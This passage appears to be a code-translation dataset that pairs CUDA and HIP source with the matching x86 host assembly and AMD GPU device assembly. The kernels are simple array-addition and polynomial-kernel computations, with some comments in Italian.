.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 16
.size: 8
.value_kind: global_buffer
- .offset: 24
.size: 4
.value_kind: by_value
- .offset: 32
.size: 4
.value_kind: hidden_block_count_x
- .offset: 36
.size: 4
.value_kind: hidden_block_count_y
- .offset: 40
.size: 4
.value_kind: hidden_block_count_z
- .offset: 44
.size: 2
.value_kind: hidden_group_size_x
- .offset: 46
.size: 2
.value_kind: hidden_group_size_y
- .offset: 48
.size: 2
.value_kind: hidden_group_size_z
- .offset: 50
.size: 2
.value_kind: hidden_remainder_x
- .offset: 52
.size: 2
.value_kind: hidden_remainder_y
- .offset: 54
.size: 2
.value_kind: hidden_remainder_z
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 80
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 96
.size: 2
.value_kind: hidden_grid_dims
- .offset: 152
.size: 4
.value_kind: hidden_dynamic_lds_size
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 288
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z25addTwoArraysSharedDynamicPiS_S_i
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z25addTwoArraysSharedDynamicPiS_S_i.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 8
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_00005c70_00000000-6_addTwoArraysSharedDynamic.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z50__device_stub__Z25addTwoArraysSharedDynamicPiS_S_iPiS_S_i
.type _Z50__device_stub__Z25addTwoArraysSharedDynamicPiS_S_iPiS_S_i, @function
_Z50__device_stub__Z25addTwoArraysSharedDynamicPiS_S_iPiS_S_i:
.LFB2051:
.cfi_startproc
endbr64
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 24(%rsp)
movq %rsi, 16(%rsp)
movq %rdx, 8(%rsp)
movl %ecx, 4(%rsp)
movq %fs:40, %rax
movq %rax, 136(%rsp)
xorl %eax, %eax
leaq 24(%rsp), %rax
movq %rax, 96(%rsp)
leaq 16(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
leaq 4(%rsp), %rax
movq %rax, 120(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 136(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $152, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 168
pushq 40(%rsp)
.cfi_def_cfa_offset 176
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _Z25addTwoArraysSharedDynamicPiS_S_i(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 160
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z50__device_stub__Z25addTwoArraysSharedDynamicPiS_S_iPiS_S_i, .-_Z50__device_stub__Z25addTwoArraysSharedDynamicPiS_S_iPiS_S_i
.globl _Z25addTwoArraysSharedDynamicPiS_S_i
.type _Z25addTwoArraysSharedDynamicPiS_S_i, @function
_Z25addTwoArraysSharedDynamicPiS_S_i:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z50__device_stub__Z25addTwoArraysSharedDynamicPiS_S_iPiS_S_i
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z25addTwoArraysSharedDynamicPiS_S_i, .-_Z25addTwoArraysSharedDynamicPiS_S_i
.section .rodata.str1.8,"aMS",@progbits,1
.align 8
.LC0:
.string "_Z25addTwoArraysSharedDynamicPiS_S_i"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z25addTwoArraysSharedDynamicPiS_S_i(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "addTwoArraysSharedDynamic.hip"
.globl _Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i # -- Begin function _Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i
.p2align 4, 0x90
.type _Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i,@function
_Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i: # @_Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i
.cfi_startproc
# %bb.0:
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 72(%rsp)
movq %rsi, 64(%rsp)
movq %rdx, 56(%rsp)
movl %ecx, 4(%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 64(%rsp), %rax
movq %rax, 88(%rsp)
leaq 56(%rsp), %rax
movq %rax, 96(%rsp)
leaq 4(%rsp), %rax
movq %rax, 104(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z25addTwoArraysSharedDynamicPiS_S_i, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $136, %rsp
.cfi_adjust_cfa_offset -136
retq
.Lfunc_end0:
.size _Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i, .Lfunc_end0-_Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z25addTwoArraysSharedDynamicPiS_S_i, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z25addTwoArraysSharedDynamicPiS_S_i,@object # @_Z25addTwoArraysSharedDynamicPiS_S_i
.section .rodata,"a",@progbits
.globl _Z25addTwoArraysSharedDynamicPiS_S_i
.p2align 3, 0x0
_Z25addTwoArraysSharedDynamicPiS_S_i:
.quad _Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i
.size _Z25addTwoArraysSharedDynamicPiS_S_i, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z25addTwoArraysSharedDynamicPiS_S_i"
.size .L__unnamed_1, 37
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z40__device_stub__addTwoArraysSharedDynamicPiS_S_i
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z25addTwoArraysSharedDynamicPiS_S_i
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | #include "includes.h"
/**
* Programma che simula il comportamento del gpdt per
* la risoluzione di un kernel di una serie di
* valori di dimensione variabile utilizzando la
* tecnologia cuda.
* compilare con:
* nvcc -o simil_gpdt_si_cuda simil_gpdt_si_cuda.cu
* lanciare con:
* ./simil_gpdt_si_cuda [numero vettori] [numero componenti] [numero di righe da calcolare] [tipo di kernel] [grado(int)/sigma(float)]
**/
using namespace std;
/**
* Funzione che riempie i vettori con numeri
* casuali compresi tra 0 e 99.
**/
__global__ void Kernel_polimoniale(float *Vd, float *Ris, int N, int C, int dim_indici, int *ind, int *Vp, int *Vnp, int nr_max_val, int s)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
int j;
int pos;
int tmp_ind;
float pol;
float tmp;
for ( ; x < N ; x+=blockDim.x * gridDim.x)
{
for( ; y < dim_indici; y+=blockDim.y * gridDim.y)
{
tmp_ind = ind[y];
tmp = 1.0;
pol = 0.0;
int Nr_val = Vnp[x];
for(j = 0; j < Nr_val; j++)
{
pos = Vp[x * nr_max_val + j];
pol = pol + (Vd[x * C + pos] * Vd[tmp_ind * C + pos]);
}
pol = pol + 1;
for(j = 0; j < s; j++)
{
tmp = tmp * pol;
}
//Ris[x * dim_indici + y] = tmp;
Ris[y * N + x ] = tmp;
}
}
} | .file "tmpxft_001b46ed_00000000-6_Kernel_polimoniale.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z53__device_stub__Z18Kernel_polimonialePfS_iiiPiS0_S0_iiPfS_iiiPiS0_S0_ii
.type _Z53__device_stub__Z18Kernel_polimonialePfS_iiiPiS0_S0_iiPfS_iiiPiS0_S0_ii, @function
_Z53__device_stub__Z18Kernel_polimonialePfS_iiiPiS0_S0_iiPfS_iiiPiS0_S0_ii:
.LFB2051:
.cfi_startproc
endbr64
subq $232, %rsp
.cfi_def_cfa_offset 240
movq %rdi, 56(%rsp)
movq %rsi, 48(%rsp)
movl %edx, 44(%rsp)
movl %ecx, 40(%rsp)
movl %r8d, 36(%rsp)
movq %r9, 24(%rsp)
movq 240(%rsp), %rax
movq %rax, 16(%rsp)
movq 248(%rsp), %rax
movq %rax, 8(%rsp)
movq %fs:40, %rax
movq %rax, 216(%rsp)
xorl %eax, %eax
leaq 56(%rsp), %rax
movq %rax, 128(%rsp)
leaq 48(%rsp), %rax
movq %rax, 136(%rsp)
leaq 44(%rsp), %rax
movq %rax, 144(%rsp)
leaq 40(%rsp), %rax
movq %rax, 152(%rsp)
leaq 36(%rsp), %rax
movq %rax, 160(%rsp)
leaq 24(%rsp), %rax
movq %rax, 168(%rsp)
leaq 16(%rsp), %rax
movq %rax, 176(%rsp)
leaq 8(%rsp), %rax
movq %rax, 184(%rsp)
leaq 256(%rsp), %rax
movq %rax, 192(%rsp)
leaq 264(%rsp), %rax
movq %rax, 200(%rsp)
movl $1, 80(%rsp)
movl $1, 84(%rsp)
movl $1, 88(%rsp)
movl $1, 92(%rsp)
movl $1, 96(%rsp)
movl $1, 100(%rsp)
leaq 72(%rsp), %rcx
leaq 64(%rsp), %rdx
leaq 92(%rsp), %rsi
leaq 80(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 216(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $232, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 72(%rsp)
.cfi_def_cfa_offset 248
pushq 72(%rsp)
.cfi_def_cfa_offset 256
leaq 144(%rsp), %r9
movq 108(%rsp), %rcx
movl 116(%rsp), %r8d
movq 96(%rsp), %rsi
movl 104(%rsp), %edx
leaq _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 240
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z53__device_stub__Z18Kernel_polimonialePfS_iiiPiS0_S0_iiPfS_iiiPiS0_S0_ii, .-_Z53__device_stub__Z18Kernel_polimonialePfS_iiiPiS0_S0_iiPfS_iiiPiS0_S0_ii
.globl _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.type _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii, @function
_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movl 40(%rsp), %eax
pushq %rax
.cfi_def_cfa_offset 24
movl 40(%rsp), %eax
pushq %rax
.cfi_def_cfa_offset 32
pushq 40(%rsp)
.cfi_def_cfa_offset 40
pushq 40(%rsp)
.cfi_def_cfa_offset 48
call _Z53__device_stub__Z18Kernel_polimonialePfS_iiiPiS0_S0_iiPfS_iiiPiS0_S0_ii
addq $40, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii, .-_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.section .rodata.str1.8,"aMS",@progbits,1
.align 8
.LC0:
.string "_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | #include "includes.h"
/**
* Programma che simula il comportamento del gpdt per
* la risoluzione di un kernel di una serie di
* valori di dimensione variabile utilizzando la
* tecnologia cuda.
* compilare con:
* nvcc -o simil_gpdt_si_cuda simil_gpdt_si_cuda.cu
* lanciare con:
* ./simil_gpdt_si_cuda [numero vettori] [numero componenti] [numero di righe da calcolare] [tipo di kernel] [grado(int)/sigma(float)]
**/
using namespace std;
/**
* Funzione che riempie i vettori con numeri
* casuali compresi tra 0 e 99.
**/
__global__ void Kernel_polimoniale(float *Vd, float *Ris, int N, int C, int dim_indici, int *ind, int *Vp, int *Vnp, int nr_max_val, int s)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
int j;
int pos;
int tmp_ind;
float pol;
float tmp;
for ( ; x < N ; x+=blockDim.x * gridDim.x)
{
for( ; y < dim_indici; y+=blockDim.y * gridDim.y)
{
tmp_ind = ind[y];
tmp = 1.0;
pol = 0.0;
int Nr_val = Vnp[x];
for(j = 0; j < Nr_val; j++)
{
pos = Vp[x * nr_max_val + j];
pol = pol + (Vd[x * C + pos] * Vd[tmp_ind * C + pos]);
}
pol = pol + 1;
for(j = 0; j < s; j++)
{
tmp = tmp * pol;
}
//Ris[x * dim_indici + y] = tmp;
Ris[y * N + x ] = tmp;
}
}
} | #include <hip/hip_runtime.h>
#include "includes.h"
/**
* Programma che simula il comportamento del gpdt per
* la risoluzione di un kernel di una serie di
* valori di dimensione variabile utilizzando la
* tecnologia cuda.
* compilare con:
* nvcc -o simil_gpdt_si_cuda simil_gpdt_si_cuda.cu
* lanciare con:
* ./simil_gpdt_si_cuda [numero vettori] [numero componenti] [numero di righe da calcolare] [tipo di kernel] [grado(int)/sigma(float)]
**/
using namespace std;
/**
* Funzione che riempie i vettori con numeri
* casuali compresi tra 0 e 99.
**/
__global__ void Kernel_polimoniale(float *Vd, float *Ris, int N, int C, int dim_indici, int *ind, int *Vp, int *Vnp, int nr_max_val, int s)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
int j;
int pos;
int tmp_ind;
float pol;
float tmp;
for ( ; x < N ; x+=blockDim.x * gridDim.x)
{
for( ; y < dim_indici; y+=blockDim.y * gridDim.y)
{
tmp_ind = ind[y];
tmp = 1.0;
pol = 0.0;
int Nr_val = Vnp[x];
for(j = 0; j < Nr_val; j++)
{
pos = Vp[x * nr_max_val + j];
pol = pol + (Vd[x * C + pos] * Vd[tmp_ind * C + pos]);
}
pol = pol + 1;
for(j = 0; j < s; j++)
{
tmp = tmp * pol;
}
//Ris[x * dim_indici + y] = tmp;
Ris[y * N + x ] = tmp;
}
}
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
/**
* Programma che simula il comportamento del gpdt per
* la risoluzione di un kernel di una serie di
* valori di dimensione variabile utilizzando la
* tecnologia cuda.
* compilare con:
* nvcc -o simil_gpdt_si_cuda simil_gpdt_si_cuda.cu
* lanciare con:
* ./simil_gpdt_si_cuda [numero vettori] [numero componenti] [numero di righe da calcolare] [tipo di kernel] [grado(int)/sigma(float)]
**/
using namespace std;
/**
* Funzione che riempie i vettori con numeri
* casuali compresi tra 0 e 99.
**/
__global__ void Kernel_polimoniale(float *Vd, float *Ris, int N, int C, int dim_indici, int *ind, int *Vp, int *Vnp, int nr_max_val, int s)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
int j;
int pos;
int tmp_ind;
float pol;
float tmp;
for ( ; x < N ; x+=blockDim.x * gridDim.x)
{
for( ; y < dim_indici; y+=blockDim.y * gridDim.y)
{
tmp_ind = ind[y];
tmp = 1.0;
pol = 0.0;
int Nr_val = Vnp[x];
for(j = 0; j < Nr_val; j++)
{
pos = Vp[x * nr_max_val + j];
pol = pol + (Vd[x * C + pos] * Vd[tmp_ind * C + pos]);
}
pol = pol + 1;
for(j = 0; j < s; j++)
{
tmp = tmp * pol;
}
//Ris[x * dim_indici + y] = tmp;
Ris[y * N + x ] = tmp;
}
}
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.globl _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.p2align 8
.type _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii,@function
_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii:
s_clause 0x1
s_load_b32 s4, s[0:1], 0x4c
s_load_b32 s12, s[0:1], 0x10
v_and_b32_e32 v3, 0x3ff, v0
s_add_u32 s2, s0, 64
s_addc_u32 s3, s1, 0
s_waitcnt lgkmcnt(0)
s_and_b32 s20, s4, 0xffff
s_mov_b32 s4, exec_lo
v_mad_u64_u32 v[1:2], null, s14, s20, v[3:4]
s_delay_alu instid0(VALU_DEP_1)
v_cmpx_gt_i32_e64 s12, v1
s_cbranch_execz .LBB0_15
s_load_b32 s13, s[2:3], 0xc
s_load_b256 s[4:11], s[0:1], 0x20
s_load_b64 s[22:23], s[2:3], 0x0
s_clause 0x1
s_load_b128 s[16:19], s[0:1], 0x0
s_load_b64 s[2:3], s[0:1], 0x14
v_bfe_u32 v0, v0, 10, 10
s_waitcnt lgkmcnt(0)
s_lshr_b32 s0, s13, 16
v_mul_lo_u32 v5, s10, v1
s_delay_alu instid0(VALU_DEP_2)
v_mad_u64_u32 v[3:4], null, s15, s0, v[0:1]
s_cmp_gt_i32 s11, 0
s_mul_i32 s15, s22, s20
s_mov_b32 s13, 0
s_cselect_b32 s14, -1, 0
s_mul_i32 s20, s23, s0
s_mul_i32 s10, s15, s10
s_branch .LBB0_4
.LBB0_2:
s_or_b32 exec_lo, exec_lo, s22
.LBB0_3:
s_delay_alu instid0(SALU_CYCLE_1) | instskip(SKIP_2) | instid1(VALU_DEP_2)
s_or_b32 exec_lo, exec_lo, s21
v_add_nc_u32_e32 v1, s15, v1
v_add_nc_u32_e32 v5, s10, v5
v_cmp_le_i32_e32 vcc_lo, s12, v1
s_or_b32 s13, vcc_lo, s13
s_delay_alu instid0(SALU_CYCLE_1)
s_and_not1_b32 exec_lo, exec_lo, s13
s_cbranch_execz .LBB0_15
.LBB0_4:
s_mov_b32 s21, exec_lo
v_cmpx_gt_i32_e64 s3, v3
s_cbranch_execz .LBB0_3
v_ashrrev_i32_e32 v2, 31, v1
s_mov_b32 s22, 0
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
v_lshlrev_b64 v[6:7], 2, v[1:2]
v_mul_lo_u32 v2, v1, s2
v_add_co_u32 v6, vcc_lo, s8, v6
s_delay_alu instid0(VALU_DEP_3) | instskip(SKIP_2) | instid1(VALU_DEP_1)
v_add_co_ci_u32_e32 v7, vcc_lo, s9, v7, vcc_lo
global_load_b32 v0, v[6:7], off
v_ashrrev_i32_e32 v6, 31, v5
v_lshlrev_b64 v[6:7], 2, v[5:6]
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v6, vcc_lo, s6, v6
v_add_co_ci_u32_e32 v7, vcc_lo, s7, v7, vcc_lo
s_waitcnt vmcnt(0)
v_cmp_lt_i32_e64 s0, 0, v0
s_branch .LBB0_8
.LBB0_6:
v_mov_b32_e32 v4, 1.0
.LBB0_7:
v_mad_u64_u32 v[8:9], null, v3, s12, v[1:2]
v_add_nc_u32_e32 v3, s20, v3
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_3)
v_cmp_le_i32_e32 vcc_lo, s3, v3
v_ashrrev_i32_e32 v9, 31, v8
s_or_b32 s22, vcc_lo, s22
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[8:9], 2, v[8:9]
v_add_co_u32 v8, s1, s18, v8
s_delay_alu instid0(VALU_DEP_1)
v_add_co_ci_u32_e64 v9, s1, s19, v9, s1
global_store_b32 v[8:9], v4, off
s_and_not1_b32 exec_lo, exec_lo, s22
s_cbranch_execz .LBB0_2
.LBB0_8:
v_mov_b32_e32 v4, 0
s_delay_alu instid0(VALU_DEP_2)
s_and_saveexec_b32 s23, s0
s_cbranch_execz .LBB0_12
v_ashrrev_i32_e32 v4, 31, v3
s_mov_b32 s24, 0
v_mov_b32_e32 v11, v0
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[8:9], 2, v[3:4]
v_add_co_u32 v8, vcc_lo, s4, v8
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v9, vcc_lo, s5, v9, vcc_lo
global_load_b32 v4, v[8:9], off
v_dual_mov_b32 v9, v7 :: v_dual_mov_b32 v8, v6
s_waitcnt vmcnt(0)
v_mul_lo_u32 v10, v4, s2
v_mov_b32_e32 v4, 0
.p2align 6
.LBB0_10:
global_load_b32 v13, v[8:9], off
s_waitcnt vmcnt(0)
v_add_nc_u32_e32 v12, v13, v2
v_add_nc_u32_e32 v14, v13, v10
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
v_ashrrev_i32_e32 v13, 31, v12
v_ashrrev_i32_e32 v15, 31, v14
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
v_lshlrev_b64 v[12:13], 2, v[12:13]
v_lshlrev_b64 v[14:15], 2, v[14:15]
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_3)
